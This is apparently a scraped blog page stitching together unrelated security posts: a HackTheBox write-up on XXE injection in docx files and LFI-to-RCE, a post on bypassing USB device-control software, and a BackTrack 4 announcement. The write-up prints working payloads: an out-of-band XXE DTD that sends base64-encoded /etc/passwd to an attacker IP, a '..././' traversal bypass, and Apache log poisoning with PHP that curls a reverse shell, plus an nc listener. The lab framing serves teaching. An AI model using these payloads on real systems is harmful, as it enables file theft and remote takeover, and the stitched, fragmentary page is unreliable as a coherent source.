Auditoria III Dictamen

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In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."

What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.

Extract the docx file.
Embed our payload in the extracted files.
Archive the file back in the docx format.
Upload the file on the server.

To extract the docx file we will use the unzip Linux command line tool.

mkdir doc
cd doc
unzip ../sample.docx

Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.

mkdir customXml
cd customXml
vim item1.xml

Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">

What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.

zip -r sample.docx *

here -r means recursive and * means all files sample.docx is the output file.

Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.

Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:

python -m SimpleHTTPServer 8090

and then upload the file to the server and see if it works.

We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.

Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:

cat passwd.64 | base64 -d > passwd

looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:

http://10.10.10.173/getPatent_alphav1.0.php

We can use the id parameter to view the uploaded patents like this:

http://10.10.10.173/getPatent_alphav1.0.php?id=1

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log

As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.

Lets setup our reverse shell listener:

nc -lvnp 9999

and then perfrom a request to the target server with our php code like this:

curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"

and lastly lets access the apache access.log file via the LFI on the target server:

http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3

Boom! we have a shell.

That's it for today's article see you next time.

References

OpenXML in word processing – Custom XML part – mapping flat data - https://blogs.sap.com/2017/04/24/openxml-in-word-processing-custom-xml-part-mapping-flat-data/
PayloadsAllTheThings - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter
php-reverse-shell - https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

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Preface

As I wrote in a previous blog post, I had an engagement last year where my task was to exfiltrate data from a workstation on some sort of storage media. The twist in that task was Lumension Sanctuary Device Control, and the version was 4.3.2, but I am not sure how newer version work and this seems to be a more general problem with device control solution, for example with Symantec products.

But what is a device control solution? In short, they audit I/O device use and block the attempts to use unauthorized devices. This includes hardware such as USB, PS/2, FireWire, CD/DVD so basically every I/O port of a computer. In my opinion, these are pretty good things and they offer a better looking solution than de-soldering the I/O ports from the motherboards or hot-gluing them, but on the other hand, they can be bypassed.

Bypass

OK, so what is the problem? Well the way these device control solutions work is that they load a few kernel drivers to monitor the physical ports of the machine. However... when you boot up the protected computer in safe mode, depending on the device control solution software, some of these drivers are not loaded (or if you are lucky, none of those modules will be loaded...) and this opens up the possibility to exfiltrate data.

In theory, if you have admin (SYSTEM maybe?) privileges, you might as well try to unload the kernel drivers. Just do not forget, that these device control solutions also have a watchdog process, that checks the driver and automatically loads it back if it is unloaded, so look for that process and stop or suspend it first.

In my case with the Lumension Sanctuary Device Control, I have found that when I boot the Workstation protected by the device control software in Safe Mode where, software's key logger protection module is not running... so I was still unable to use a USB stick, or a storage media, but I could plug in a keyboard for example...hmmm :)

As some of you probably already figured it out, now it is possible to use a pre-programmed USB HID, for example a Teensy! : ) I know about three different project, that uses this trick like these two mentioned in a Hackaday post, or this one. Unfortunately, the site ob-security.info no longer seems to be available (well, at least it is no longer related to infosec :D ), but you can still find the blog post and the files with the Wayback Machine.

For the hardware part, the wiring of the Teensy and the SD card adaptor is the same as I showed in the post on Making a USB flash drive HW Trojan or in the Binary deployment with VBScript, PowerShell or .Net csc.exe compiler post, so I will not copy it here again.

I have to note here that there are other ways to bypass these device control solutions, like the method what Dr. Phil Polstra did with the USB Impersonator, which is basically looks for an authorized device VID/PID and then impersonates that devices with the VID/PID.

Mitigation

Most probably, you will not need safe mode for the users, so you can just disable it... I mean, it is not that easy, but luckily there is a great blog post on how to do that. BTW, the first page of the post is for Windows XP, but you are not using XP anymore, aren't you? ;)

Alternatively, as I mentioned at the beginning, you might as well use some physical countermeasure (de-soldering/hot-gluing ports). That shit is ugly, but it kinda works.

Conclusion

Next time you will face a device control solution, try out these tricks, maybe they will work, and if they do, well, that's a lot of fun. :)

But don't get me wrong, these device control solutions and similar countermeasures are a good thing and you should use something like this! I know that they make doing business a bit harder as you are not able to plugin whatever USB stick you want, but if you buy a pile of hardware encrypted flash drives, and only allow those to be plugged in, you are doing it right ;)

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The Remote Exploit Development Team has just announced BackTrack 4 Beta. BackTrack is a Linux based LiveCD intended for security testing and we've been watching the project since the very early days. They say this new beta is both stable and usable. They've moved towards behaving like an actual distribution: it's based on Debian core, they use Ubuntu software, and they're running their own BackTrack repositories for future updates. There are a lot of new features, but the one we're most interested in is the built in Pico card support. You can use the FPGAs to generate rainbow tables and do lookups for things like WPA, GSM, and Bluetooth cracking. BackTrack ISO and VMWare images are available here.

Website: http://www.remote-exploit.org

Auditoria III Dictamen

lunes, 31 de agosto de 2020

XXE In Docx Files And LFI To RCE

XML External Entity Attack

LFI to RCE

References

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domingo, 30 de agosto de 2020

TLS V1.2 Sigalgs Remote Crash (CVE-2015-0291)

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Tricks To Bypass Device Control Protection Solutions

Preface

Bypass

Mitigation

Conclusion

Continue reading

Backtrack4

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